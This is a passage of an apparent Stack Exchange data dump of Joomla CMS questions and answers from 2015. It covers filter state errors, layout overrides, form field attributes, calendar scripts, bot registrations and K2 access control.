UserState variable called &lt;code&gt;.filter.status&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems that the new Joomla filter bar in the form is responsible for this mistake. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The last two stack entries of the Joomlas integrated failure debugger, shows me, that the setting of the userState variable in the view.html.php won't be accepted anymore and that this is responsible for the problem.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Warning: Attempt to assign property of non-object in D:\home\joomla\libraries\framework\Joomla\Registry\Registry.php on line 428&#xA;&#xA;11  ......&#xA;&#xA;12  0.2121  4313344 JApplicationCms-&amp;gt;setUserState( )    ..\view.html.php:50&#xA;&#xA;13  0.2121  4313344 Joomla\Registry\Registry-&amp;gt;set( )    ..\cms.php:1047&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Furthermore, new settings of userState variables cannot be done, also not in other views with other userState variables. This problem exists until I logout from the session. After a new login, everything seems to be clear, until I come to the procedure I described.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally this leads in a security whole of my site, because if this userState filters cannot be set, users can have access to data which they are not permitted to see.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla Version 3.3.6&lt;/p&gt;&#xA;" OwnerUserId="463" LastEditorUserId="463" LastEditDate="2015-02-26T09:01:38.843" LastActivityDate="2015-02-26T09:01:38.843" Title="getUserStateFromRequest variable become empty if name starts with '.filter.'" Tags="|joomla-3.x|variable|" AnswerCount="0" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="8778" PostTypeId="1" CreationDate="2015-02-25T18:02:01.717" Score="1" ViewCount="50" Body="&lt;p&gt;In my view.html.php I set UserState Variables. One of this variables will be set like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app-&amp;gt;setUserState('com_mycomponent.modelname'.'.filter.status', 1);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the layout default.php I have integrated a Joomla search tools bar with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo JLayoutHelper::render('joomla.searchtools.default', array('view' =&amp;gt; $this));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Everything is done fine, execept I do a reload on the page, or I choose another option of the filter. To be more concret, I load the page, afterwards I select one of the filter options, I can do that one time good. If I choose another value of the same filter, or reload the page with F5, than the following error come up:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Warning: Attempt to assign property of non-object in D:\websites\etiral2015\libraries\framework\Joomla\Registry\Registry.php on line 428&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What does that mean?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The last two stack entries of the Joomlas integrated failure debugger, shows me, that the setting of the userState variable in the view.html.php won't be accepted anymore and that this is responsible for the problem.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;12  0.2121  4313344 JApplicationCms-&amp;gt;setUserState( )    ..\view.html.php:50&#xA;&#xA;13  0.2121  4313344 Joomla\Registry\Registry-&amp;gt;set( )    ..\cms.php:1047&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Furthermore, new settings of userState variables cannot be done, also not in other views with other userState variables. This problem exists until I logout from the session. After a new login, everything seems to be clear, until I come to the procedure I described.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally this leads in a security whole of my site, because if this userState filters cannot be set, users can have access to data which they are not permitted to see. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla Version 3.3.6&lt;/p&gt;&#xA;" OwnerUserId="463" LastEditorUserId="463" LastEditDate="2015-02-25T18:11:44.297" LastActivityDate="2015-02-25T18:11:44.297" Title="Joomla search filter tool bar - attempt to assign property of non-object line 428" Tags="|joomla-3.x|security|variable|" AnswerCount="0" CommentCount="2" ClosedDate="2015-02-28T21:29:11.790" ContentLicense="CC BY-SA 3.0" />
  <row Id="8779" PostTypeId="1" CreationDate="2015-02-26T05:17:43.407" Score="-2" ViewCount="55" Body="&lt;p&gt;I've been using Joomla for a long time and the past 2 weeks i have had 2 articles act like they're haunted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first article won't recognize p or /p tags. It inserts them as text into the article instead of a page break.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second article is making every &quot;a&quot; bold. I don't understand it. It's baffling me and I can't figure out why it's doing this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have turned off editors and checked to make sure nothing was interfering with code input but it's only happening on these 2 articles. &lt;/p&gt;&#xA;" OwnerUserId="3392" LastEditorUserId="12352" LastEditDate="2019-07-25T20:40:15.017" LastActivityDate="2019-07-25T20:40:15.017" Title="Unexpected styling and tag rendering in articles" Tags="|joomla-3.x|articles|styling|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="8780" PostTypeId="1" CreationDate="2015-02-26T07:13:01.093" Score="1" ViewCount="359" Body="&lt;p&gt;Strict Standards: Non-static method JApplicationSite::getMenu() should not be called statically in /var/www/sobipro/components/com_sobipro/router.php on line 246&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Strict Standards: Non-static method JApplicationCms::getMenu() should not be called statically in /var/www/sobipro/libraries/cms/application/site.php on line 279&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Strict Standards: Only variables should be assigned by reference in /var/www/sobipro/components/com_sobipro/router.php on line 246&lt;/p&gt;&#xA;" OwnerUserId="150" LastEditorUserId="296" LastEditDate="2015-02-26T08:52:01.250" LastActivityDate="2015-02-27T15:19:35.003" Title="Error messages in joomla site after installing sobipro" Tags="|joomla-3.x|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8781" PostTypeId="1" CreationDate="2015-02-26T07:47:35.577" Score="0" ViewCount="597" Body="&lt;p&gt;I'm appending joomla default calender in my form through ajax. But after appending the calender, i'm unable in getting the calendar pop up on clicking the icon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also there is no conflict in name and id of the calendar as ids are different everytime i'm appending the calendar.&#xA;So please suggest me a way of implementing it.&lt;/p&gt;&#xA;" OwnerUserId="1530" LastActivityDate="2016-08-26T08:13:51.173" Title="JHTML::calendar() not working when apending through ajax" Tags="|jhtml|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8782" PostTypeId="2" ParentId="8781" CreationDate="2015-02-26T08:04:00.203" Score="1" Body="&lt;p&gt;You will need to call the calendar script in your layout explicitly to make it work. Something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;    jQuery(document).ready(function($){&#xA;        Calendar.setup({&#xA;        // Id of the input field&#xA;        inputField: '&amp;lt;?php echo $field-&amp;gt;id; ?&amp;gt;',&#xA;        // Format of the input field&#xA;        ifFormat: '&amp;lt;?php echo $field-&amp;gt;format; ?&amp;gt;',&#xA;        // Trigger for the calendar (button ID)&#xA;        button: '&amp;lt;?php echo $field-&amp;gt;id; ?&amp;gt;_img',&#xA;        // Alignment (defaults to &quot;Bl&quot;)&#xA;        align: 'Tl',&#xA;        singleClick: true,&#xA;        firstDay: '&amp;lt;?php echo JFactory::getLanguage()-&amp;gt;getFirstDay(); ?&amp;gt;'&#xA;        });&#xA;    });&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3" LastActivityDate="2015-02-26T08:04:00.203" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8783" PostTypeId="2" ParentId="8751" CreationDate="2015-02-26T08:10:23.613" Score="1" Body="&lt;p&gt;Just wanted to note that &lt;a href=&quot;https://groups.google.com/forum/?fromgroups=&amp;amp;hl=en#!topic/joomla-dev-general/K7fA6KAoQPM&quot; rel=&quot;nofollow&quot;&gt;the same question was asked&lt;/a&gt; by @ajhuddy in Joomla! General Development maillist and it has an answer.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;**** SOLVED ****&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;(Thanks Hannes for leading me to the answer)&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;It seems to be key in the &lt;code&gt;onContentPrepareForm&lt;/code&gt; part of the plugin to&#xA;  only make a change to the form if &lt;code&gt;$form-&amp;gt;getName()&lt;/code&gt; evaluates to the&#xA;  form you are wanting to alter.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="3" LastActivityDate="2015-02-26T08:10:23.613" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8784" PostTypeId="1" AcceptedAnswerId="8785" CreationDate="2015-02-26T08:19:34.927" Score="2" ViewCount="318" Body="&lt;p&gt;I have discovered strange situation. Registration is disabled in administration users component. Despite it bots can register... When I go to /index.php?option=com_users&amp;amp;view=registration there's login form, not registration. Every day I have a lot of new accounts&lt;/p&gt;&#xA;" OwnerUserId="1592" LastEditorUserId="1592" LastEditDate="2015-03-10T07:18:49.390" LastActivityDate="2015-03-10T07:18:49.390" Title="Bots are registrating even when registration is disabled" Tags="|joomla-2.5|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8785" PostTypeId="2" ParentId="8784" CreationDate="2015-02-26T09:51:09.540" Score="0" Body="&lt;p&gt;This is an odd issue.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Make sure you are using the latest version of the Joomla 2.5 series (2.5.28)&lt;/li&gt;&#xA;&lt;li&gt;If you're using any 3rd party extensions to manage users such as Community Builder, then make sure it's also up to date.&lt;/li&gt;&#xA;&lt;li&gt;You may also want to test some 3rd party extensions to block bots registering such as &lt;a href=&quot;http://extensions.joomla.org/profile/extension/access-a-security/site-security/stop-registration-bots&quot; rel=&quot;nofollow noreferrer&quot;&gt;Stop Registration Bots&lt;/a&gt;. Have a look at the &lt;a href=&quot;http://extensions.joomla.org/extensions/extension?searchall=&amp;amp;filter%5Btags%5D%5B%5D=&amp;amp;filter%5Bcore_catid%5D=138&amp;amp;filter%5Bincludes%5D=&amp;amp;filter%5Bversions%5D=&amp;amp;filter%5Btype%5D=&amp;amp;filter%5Bhasdemo%5D=&amp;amp;order=&amp;amp;filter%5Bnewupdated%5D=&amp;amp;filter%5Bscore%5D=&amp;amp;filter%5Bfavourites%5D=&amp;amp;dir=DESC&amp;amp;limitstart=0&amp;amp;controller=filter&amp;amp;view=extension&amp;amp;layout=list&amp;amp;Itemid=145&amp;amp;clearorders=0&amp;amp;clearfilters=1&quot; rel=&quot;nofollow noreferrer&quot;&gt;Site Security&lt;/a&gt; category on the JED&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h3&gt;Note, please consider migrating to Joomla 3.4 as 2.5 is no longer officially supported.&lt;/h3&gt;&#xA;" OwnerUserId="168" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2015-02-26T11:08:41.200" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8787" PostTypeId="2" ParentId="8780" CreationDate="2015-02-26T15:16:10.410" Score="1" Body="&lt;p&gt;These messages just indicates that sobipro code is not following full php coding specifications.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There will not be any major issue due to these notice indicators.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For hiding these messages, there is a configuration setting available in Joomla global configuration, under server section, named &lt;strong&gt;Error Reporting&lt;/strong&gt;, set this to &quot;&lt;strong&gt;System-Default&lt;/strong&gt;&quot;.&lt;/p&gt;&#xA;" OwnerUserId="396" LastActivityDate="2015-02-26T15:16:10.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8788" PostTypeId="2" ParentId="8779" CreationDate="2015-02-26T15:23:30.893" Score="0" Body="&lt;p&gt;I found the culprit with the help of Hung Tran. It was the Joomla! iseo plugin. After disabling it, everything works fine. Seth, thanks for your input.&lt;/p&gt;&#xA;" OwnerUserId="3392" LastActivityDate="2015-02-26T15:23:30.893" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8789" PostTypeId="1" AcceptedAnswerId="8800" CreationDate="2015-02-26T17:13:30.507" Score="6" ViewCount="823" Body="&lt;p&gt;Here is the XML for a particular form field:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;field type=&quot;text&quot; name=&quot;first-name&quot; id=&quot;first-name&quot; label=&quot;MOD_LABEL_FIRST_NAME&quot; &#xA;required=&quot;required&quot; maxlength=&quot;27&quot; color=&quot;yellow&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My problem is that when displaying the form as HTML, the attributes are being filtered in some way. For example, the attribute &lt;code&gt;type&lt;/code&gt; is displayed as part of the markup but attributes like &lt;code&gt;required&lt;/code&gt; and &lt;code&gt;color&lt;/code&gt; are not. (&lt;code&gt;Color&lt;/code&gt; is a dummy attribute I have created for testing purposes, but &lt;code&gt;required&lt;/code&gt; is important as I want to use the &lt;a href=&quot;http://www.wufoo.com/html5/attributes/09-required.html?foo=wdfs&amp;amp;bar=sdfsd&quot; rel=&quot;nofollow noreferrer&quot;&gt;HTML5 required behaviour&lt;/a&gt;.) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the markup output for the specific field described in the XML above:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;label id=&quot;first-name-label&quot; for=&quot;first-name&quot;&amp;gt;First name&amp;lt;/label&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; name=&quot;first-name&quot; id=&quot;first-name&quot; maxlength=&quot;27&quot;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know custom attributes like &lt;code&gt;color&lt;/code&gt; exist as part of the object - here is the result from a var_dump of &lt;code&gt;$oForm-&amp;gt;getField('first-name')&lt;/code&gt; :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;object(JFormFieldText)#773 (19) {&#xA;  [&quot;type&quot;:protected]=&amp;gt;&#xA;  string(4) &quot;Text&quot;&#xA;  [&quot;element&quot;:protected]=&amp;gt;&#xA;  object(JXMLElement)#772 (1) {&#xA;    [&quot;@attributes&quot;]=&amp;gt;&#xA;    array(9) {&#xA;      [&quot;type&quot;]=&amp;gt;&#xA;      string(4) &quot;text&quot;&#xA;      [&quot;name&quot;]=&amp;gt;&#xA;      string(15) &quot;first-name&quot;&#xA;      [&quot;id&quot;]=&amp;gt;&#xA;      string(15) &quot;first-name&quot;&#xA;      [&quot;label&quot;]=&amp;gt;&#xA;      string(30) &quot;MOD_LABEL_FIRST_NAME&quot;&#xA;      [&quot;required&quot;]=&amp;gt;&#xA;      string(8) &quot;required&quot;&#xA;      [&quot;maxlength&quot;]=&amp;gt;&#xA;      string(2) &quot;27&quot;&#xA;      [&quot;color&quot;]=&amp;gt;&#xA;      string(6) &quot;yellow&quot;&#xA;    }&#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Further, I have tried following the &lt;a href=&quot;https://stackoverflow.com/questions/11161640/accessing-custom-attributes-on-a-custom-field-in-jformfield&quot;&gt;methods described in the answer to this question&lt;/a&gt; as they seemed relevant, but it hasn't worked in my case, as I just get syntax errors:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$oField = $oForm-&amp;gt;getField('first-name');&#xA;  echo $oField-&amp;gt;type; // returns 'Text'&#xA;  echo $oField-&amp;gt;element-&amp;gt;[&quot;color&quot;]; // returns syntax error&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;While it would be interesting to know how to access/manipulate custom attributes in this case, my main question is &lt;strong&gt;why are only some attributes displayed in the markup?&lt;/strong&gt; &lt;/p&gt;&#xA;" OwnerUserId="1527" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2015-02-27T11:05:13.660" Title="Custom XML attributes not showing in HTML markup" Tags="|joomla-2.5|jform|form|xml|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8790" PostTypeId="1" AcceptedAnswerId="8795" CreationDate="2015-02-26T18:24:31.127" Score="5" ViewCount="4060" Body="&lt;p&gt;I want to add a custom CSS to a page of my website...&#xA;I have edited the Page class Suffix of the page I want to edit, but I dont know why, the class doesn't appear in the body when I go to that page...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How could I add a class to the body of the page I want to change...?&lt;/p&gt;&#xA;" OwnerUserId="3573" LastActivityDate="2022-10-11T10:11:55.477" Title="Page Class Suffix doesn't work" Tags="|joomla-3.x|" AnswerCount="4" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8791" PostTypeId="1" AcceptedAnswerId="8796" CreationDate="2015-02-26T19:02:36.677" Score="1" ViewCount="1030" Body="&lt;p&gt;I have a custom layout for mod_articles_category. I am trying to add the Category link outside that this Articles Category item links to, but outside of the loop of $items.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried this, but had no luck:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;container text-center&quot;&amp;gt;&#xA;    &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php echo $list-&amp;gt;displayCategoryLink; ?&amp;gt;&quot; title=&quot;Luxton Testimonials&quot;&amp;gt;What they say&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;?php echo print_r($list); ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How do I get the category link that is available in the article loop with &lt;code&gt;$item-&amp;gt;displayCategoryLink;&lt;/code&gt; but outside of the actual article loop, for a heading?&lt;/p&gt;&#xA;" OwnerUserId="3712" LastActivityDate="2015-02-26T21:13:00.290" Title="mod_articles_category Override - Adding category link outside of loop" Tags="|joomla-3.x|articles|overrides|custom-module|category|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8792" PostTypeId="2" ParentId="8791" CreationDate="2015-02-26T19:14:36.967" Score="0" Body="&lt;p&gt;Joomla by default uses &lt;code&gt;$item-&amp;gt;&lt;/code&gt; instead of &lt;code&gt;$list-&amp;gt;&lt;/code&gt; to make sure your foreach loop looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach ($SOME_VARIABLE as $list){&#xA;   // code here&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which will mean the following will work.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$list-&amp;gt;displayCategoryLink;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If that's what you already have, then go to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Joomla backend&lt;/strong&gt; &gt;&gt; &lt;strong&gt;Module Manager&lt;/strong&gt; &gt;&gt; &lt;strong&gt;Articles Category&lt;/strong&gt; &gt;&gt; &lt;strong&gt;Display Options (tab)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then set &lt;strong&gt;Category&lt;/strong&gt; to &lt;strong&gt;Yes&lt;/strong&gt; else the category for each article won't display ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-02-26T19:14:36.967" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8793" PostTypeId="1" AcceptedAnswerId="8794" CreationDate="2015-02-26T19:38:32.917" Score="3" ViewCount="1845" Body="&lt;p&gt;I am a bit of a Joomla noob, so forgive the question, but I have searched for an answer.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am looking to customize the layout of the featured articles component. However, I do not want to customize the layout for ALL instances of the featured articles, just how it is shown for one page as an example. I understand how this works for modules but not for components. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have looked at this link which details how to make a component override well: &lt;a href=&quot;https://www.joomlashack.com/blog/joomla-templates/1067-customize-your-joomla-templates-by-learning-overrides&quot; rel=&quot;nofollow&quot;&gt;https://www.joomlashack.com/blog/joomla-templates/1067-customize-your-joomla-templates-by-learning-overrides&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once I have my override, how do I apply that to only one occurrence. As an example, lets say I have two menu items which our Featured Articles, but linked to different categories. I would like one of the menu items to use one layout and the other to use the custom one. Do I need to setup multiple templates for this, even though the base template is the same, its just the override that is different?&lt;/p&gt;&#xA;" OwnerUserId="3712" LastActivityDate="2015-02-26T21:20:57.577" Title="Overriding the core layout for Featured Articles Component" Tags="|joomla-3.x|component|module|overrides|template-override|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8794" PostTypeId="2" ParentId="8793" CreationDate="2015-02-26T20:47:04.443" Score="4" Body="&lt;h1&gt;Layout Overrides » Alternative Menu Items&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;From your question I understand that what will fit your needs is to create an &lt;strong&gt;alternative menu item&lt;/strong&gt; for the Featured Items menu item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is almost identical to the &lt;strong&gt;common overrides&lt;/strong&gt; with the exception that you will give a new name to your &lt;strong&gt;layout&lt;/strong&gt; file and also create a &lt;strong&gt;XML&lt;/strong&gt; file with the same name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, copy the Featured items layout files to the html folder of your template and also copy its XML file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rename them to something like &quot;myspecialfeatured.php&quot; and &quot;myspecialfeatured.xml&quot;.&#xA;Also copy the rest of layout files and rename them accordingly with the your given name and the underscore _links.php &amp;amp; _item.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, you need to open the XML file and edit the few first lines, to change the name and description.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change the lines below in the beginning of the XML, give them your menu item's name.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;layout title=&quot;COM_CONTENT_FEATURED_VIEW_DEFAULT_TITLE&quot;&#xA;  option=&quot;COM_CONTENT_FEATURED_VIEW_DEFAULT_OPTION&quot;&amp;gt;&#xA; &amp;lt;help key = &quot;JHELP_MENUS_MENU_ITEM_ARTICLE_FEATURED&quot; /&amp;gt;&#xA; &amp;lt;message&amp;gt;&#xA;  &amp;lt;![CDATA[COM_CONTENT_CATEGORY_VIEW_FEATURED_DESC]]&amp;gt;&#xA; &amp;lt;/message&amp;gt;&#xA;&amp;lt;/layout&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;layout title=&quot;myFeatured&quot;&#xA;  option=&quot;my Featured Items&quot;&amp;gt;&#xA; &amp;lt;help key = &quot;JHELP_MENUS_MENU_ITEM_ARTICLE_FEATURED&quot; /&amp;gt;&#xA; &amp;lt;message&amp;gt;&#xA;  &amp;lt;![CDATA[my Featured Items]]&amp;gt;&#xA; &amp;lt;/message&amp;gt;&#xA;&amp;lt;/layout&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can now choose your alternative featured articles menu item type, for any menu item you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a further tip, you can change also what parameters you want this menu item to have, by tweaking the xml file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For further help you can read the documentation at joomla.org - scroll down to the alternative menu items.&lt;br&gt;&#xA;&lt;a href=&quot;https://docs.joomla.org/Layout_Overrides_in_Joomla&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Layout Overrides in Joomla&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2015-02-26T21:20:57.577" LastActivityDate="2015-02-26T21:20:57.577" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8795" PostTypeId="2" ParentId="8790" CreationDate="2015-02-26T21:05:09.347" Score="6" Body="&lt;p&gt;If you want to add the page class to the body, then add this code above the doctype:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;  $app = JFactory::getApplication();&#xA;  $menu = $app-&amp;gt;getMenu()-&amp;gt;getActive();&#xA;  $pageclass = '';&#xA;&#xA;  if (is_object($menu))&#xA;    $pageclass = $menu-&amp;gt;params-&amp;gt;get('pageclass_sfx');&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this code to your body&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;body id=&quot;&amp;lt;?php echo $pageclass ? htmlspecialchars($pageclass) : 'default'; ?&amp;gt;&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anything without a page class will use an id of &quot;default&quot;, anything with the page class defined will appear as the id of the body. Obviously you can change that id to class if that's what you need.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2015-02-26T21:05:09.347" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="8796" PostTypeId="2" ParentId="8791" CreationDate="2015-02-26T21:13:00.290" Score="2" Body="&lt;p&gt;It's not very clear what you are trying to do.&lt;br&gt;&#xA;This module can display articles from many categories and also works in various modes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the case of multiple categories, what is the one that you will display as heading?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the other hand, there is no such thing as &lt;code&gt;$list-&amp;gt;displayCategoryLink;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, in the case you show articles from 1 only category, and you want to get the link of that category outside of the loop, to use it in anyway you want, you can access the link of the first item of the list like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$list[0]-&amp;gt;displayCategoryLink;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="126" LastActivityDate="2015-02-26T21:13:00.290" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8797" PostTypeId="2" ParentId="7476" CreationDate="2015-02-26T23:56:38.820" Score="0" Body="&lt;p&gt;Although using access levels for the menu items that holds each category is close to the solution, categories will still be accessible outside of a menu item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ended up, hard-coding some access checks on the zoo templates.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2015-02-26T23:56:38.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8798" PostTypeId="1" CreationDate="2015-02-27T04:33:40.507" Score="1" ViewCount="586" Body="&lt;p&gt;I'm using k2. I need to restrict &quot;group A&quot; users can see &quot;Items&quot; only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any dirty/hacky ways are acceptable no matter what.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="3639" LastEditorUserId="3" LastEditDate="2015-02-27T09:42:55.667" LastActivityDate="2016-09-20T04:50:46.973" Title="How can I limit what asset of K2 component a user group can see?" Tags="|k2|acl|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8799" PostTypeId="2" ParentId="8798" CreationDate="2015-02-27T05:28:37.653" Score="0" Body="&lt;p&gt;There is no need to apply any hack in k2 code when solution can be built by using triggers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are comfortable with coding then you can create a plugin which work on k2 triggers and restrict usergroup to access set of resource only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;K2 triggers &lt;strong&gt;onK2PrepareContent&lt;/strong&gt; event which can be used in the plugin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add checking of the user permission in this event in your plugin and redirect if user is not allowed to access.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another event which you can utilize is &lt;strong&gt;onAfterRoute&lt;/strong&gt; event, it's a joomla event.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this event you can check the option, view, task and layout to confirm the current access page. And apply usergroup checking.&lt;/p&gt;&#xA;" OwnerUserId="396" LastActivityDate="2015-02-27T05:28:37.653" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8800" PostTypeId="2" ParentId="8789" CreationDate="2015-02-27T06:21:01.483" Score="4" Body="&lt;p&gt;Though the XML file and the rendered HTML both call them attributes, there is not a direct pass through of values. Hence, only some attributes make it to the HTML (and some extra attributes are added).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All of this is based on the class that you can see here: &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/staging/libraries/joomla/form/fields/text.php#L163&quot; rel=&quot;nofollow&quot;&gt;https://github.com/joomla/joomla-cms/blob/staging/libraries/joomla/form/fields/text.php#L163&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for every field, you specify a type, in this case &lt;code&gt;text&lt;/code&gt;. This leads to the JFormFieldText class handling the rendering. JForm will call &lt;code&gt;getInput&lt;/code&gt; on the field class to actually get back the input html. Glancing through this code, it should be very obvious why your custom attributes are not passed through:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;protected function 